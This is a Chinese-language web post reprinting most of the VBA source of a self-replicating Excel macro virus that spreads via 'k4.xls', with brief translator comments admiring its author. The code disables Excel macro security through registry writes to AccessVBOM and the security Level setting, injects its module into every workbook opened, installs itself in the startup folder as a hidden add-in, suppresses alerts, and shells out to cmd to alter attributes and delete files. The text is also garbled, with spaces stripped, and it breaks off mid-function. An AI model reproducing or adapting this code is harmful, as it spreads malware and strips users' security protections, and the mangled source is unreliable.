EXCEL_宏病毒代码   边上写了一点翻译，病毒作者水平真正是很NB的。

splayAlerts=False''插入代码行，让设备不显示警报

.InsertLines6,'Calldo_what''调“做哪个”程序块

.InsertLines7,'EndSub'

.InsertLines8,'PrivateSubxx_workbookOpen(ByValwbAsWorkbook)'’插入代码行lsp宏病毒查杀，打开工作薄模块（工作薄）

.InsertLines9,'OnErrorResumeNext'

.InsertLines10,'wb.VBProject.References.AddFromGuid_'‘插入代码行，增加vb构架

.InsertLines11,'GUID:='&DQUOTE&'{0002E157-0000-0000-C000-000000000046}'&DQUOTE&',_''插入代码行，注册表

.InsertLines12,'Major:=5,Minor:=3'

.InsertLines13,'Application.ScreenUpdating=False''插入代码行，让设备.屏幕不更新

.InsertLines14,'Application.DisplayAlerts=False'’插入代码行，设备不显示警报

.InsertLines15,'copystartwb'

.InsertLines16,'Application.ScreenUpdating=True'

.InsertLines17,'EndSub'

EndWith

EndSub

PrivateSubdelete_this_wk()'删除程序块,调用了平台自带的VBIDE的模块

DimVBProjAsVBIDE.VBProject

DimVBCompAsVBIDE.VBComponent

DimCodeModAsVBIDE.CodeModule

,

SetVBProj=ThisWorkbook.VBProject

SetVBComp=VBProj.VBComponents('ThisWorkbook')

SetCodeMod=VBComp.CodeModule

WithCodeMod

.DeleteLines1,.CountOfLines'删行代码

EndWith

EndSub

Functiondo_what()

IfThisWorkbook.Path<>Application.StartupPathThen

RestoreAfterOpen

CallOpenDoor’调用“打开门”程序块

CallMicrosofthobby’调用“微软bb”程序块

CallActionJudge'调用“活动判断”程序块

EndIf

EndFunction

Functioncopystart(ByValwbAsWorkbook)‘开始复制程序块（工作薄）

OnErrorResumeNext

DimVBProj1AsVBIDE.VBProject

DimVBProj2AsVBIDE.VBProject

SetVBProj1=Workbooks('k4.xls').VBProject’名字为“k4.xls”的程序块

SetVBProj2=wb.VBProject

Ifcopymodule('ToDole',VBProj1,VBProj2,False)ThenExitFunction'从k4向目标复制

EndFunction

Functioncopymodule(ModuleNameAsString,_’复制方式（路径、vba构架......退出写入）

FromVBProjectAsVBIDE.VBProject,_

ToVBProjectAsVBIDE.VBProject,_

OverwriteExistingAsBoolean)AsBoolean

OnErrorResumeNext

DimVBCompAsVBIDE.VBComponent

DimFNameAsString

DimCompNameAsString

DimSAsString

DimSlashPosAsLong

DimExtPosAsLong

DimTempVBCompAsVBIDE.VBComponent

IfFromVBProjectIsNothingThen

copymodule=False

ExitFunction

EndIf

IfTrim(ModuleName)=vbNullStringThen

copymodule=False

ExitFunction

EndIf

IfToVBProjectIsNothingThen

copymodule=False

ExitFunction

EndIf

IfFromVBProject.Protection=vbext_pp_lockedThen

copymodule=False

ExitFunction

EndIf

IfToVBProject.Protection=vbext_pp_lockedThen

copymodule=False

ExitFunction

EndIf

OnErrorResumeNext

SetVBComp=FromVBProject.VBComponents(ModuleName)

IfErr.Number<>0Then

copymodule=False

ExitFunction

EndIf

FName=Environ('Temp')&'\'&ModuleName&'.bas'

IfOverwriteExisting=TrueThen

IfDir(FName,vbNormal+vbHidden+vbSystem)<>vbNullStringThen

Err.Clear

KillFName

IfErr.Number<>0Then

copymodule=False

ExitFunction

EndIf

EndIf

WithToVBProject.VBComponents

.Remove.Item(ModuleName)

EndWith

Else

Err.Clear

SetVBComp=ToVBProject.VBComponents(ModuleName)

IfErr.Number<>0Then

IfErr.Number=9Then

Else

copymodule=False

ExitFunction

EndIf

EndIf

EndIf

FromVBProject.VBComponents(ModuleName).ExportFileName:=FName

SlashPos=InStrRev(FName,'\')

ExtPos=InStrRev(FName,'.')

CompName=Mid(FName,SlashPos+1,ExtPos-SlashPos-1)

SetVBComp=Nothing

SetVBComp=ToVBProject.VBComponents(CompName)

IfVBCompIsNothingThen

ToVBProject.VBComponents.ImportFileName:=FName

Else

IfVBComp.Type=vbext_ct_DocumentThen

SetTempVBComp=ToVBProject.VBComponents.Import(FName)

WithVBComp.CodeModule

.DeleteLines1,.CountOfLines'删除代码行lsp宏病毒查杀，统计代码行

S=TempVBComp.CodeModule.Lines(1,TempVBComp.CodeModule.CountOfLines)

.InsertLines1,S'向临时?插入代码行

EndWith

OnErrorGoTo0

ToVBProject.VBComponents.RemoveTempVBComp

EndIf

EndIf

KillFName

copymodule=True

EndFunction

FunctionMicrosofthobby()’程序块

Dimmyfile0AsString'我的文件

DimMyFileAsString

OnErrorResumeNext

myfile0=ThisWorkbook.FullName

MyFile=Application.StartupPath&'\k4.xls'

IfWorkbookOpen('k4.xls')AndThisWorkbook.Path<>Application.StartupPathThenWorkbooks

('k4.xls').CloseFalse

’调用批处理命令

ShellEnviron$('comspec')&'/cattrib-S-h'''&Application.StartupPath&'\K4.XLS''',

vbMinimizedFocus

ShellEnviron$('comspec')&'/cDel/F/Q'''&Application.StartupPath&'\K4.XLS''',

vbMinimizedFocus

ShellEnviron$('comspec')&'/cRD/S/Q'''&Application.StartupPath&'\K4.XLS''',vbMinimizedFocus

IfThisWorkbook.Path<>Application.StartupPathThen

Application.ScreenUpdating=False

ThisWorkbook.IsAddin=True

ThisWorkbook.SaveCopyAsMyFile

ThisWorkbook.IsAddin=False

Application.ScreenUpdating=True

EndIf

EndFunction

FunctionOpenDoor()'开门程序块写入注册表。

DimFso,RK1AsString,RK2AsString,RK3AsString,RK4AsString

DimKValue1AsVariant,KValue2AsVariant

DimVSAsString

OnErrorResumeNext

VS=Application.Version

SetFso=CreateObject('scRiPTinG.fiLEsysTeMoBjEcT')

RK1='HKEY_CURRENT_USER\Software\Microsoft\Office\'&VS&'\Excel\Security\AccessVBOM'

RK2='HKEY_CURRENT_USER\Software\Microsoft\Office\'&VS&'\Excel\Security\Level'

RK3='HKEY_LOCAL_MACHINE\Software\Microsoft\Office\'&VS&'\Excel\Security\AccessVBOM'

RK4='HKEY_LOCAL_MACHINE\Software\Microsoft\Office\'&VS&'\Excel\Security\Level'

KValue1=1

KValue2=1

CallWReg(RK1,KValue1,'REG_DWORD')

CallWReg(RK2,KValue2,'REG_DWORD')

CallWReg(RK3,KValue1,'REG_DWORD')

CallWReg(RK4,KValue2,'REG_DWORD')

EndFunction

SubWReg(strkeyAsString,ValueAsVariant,ValueTypeAsString)

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-121978-1.html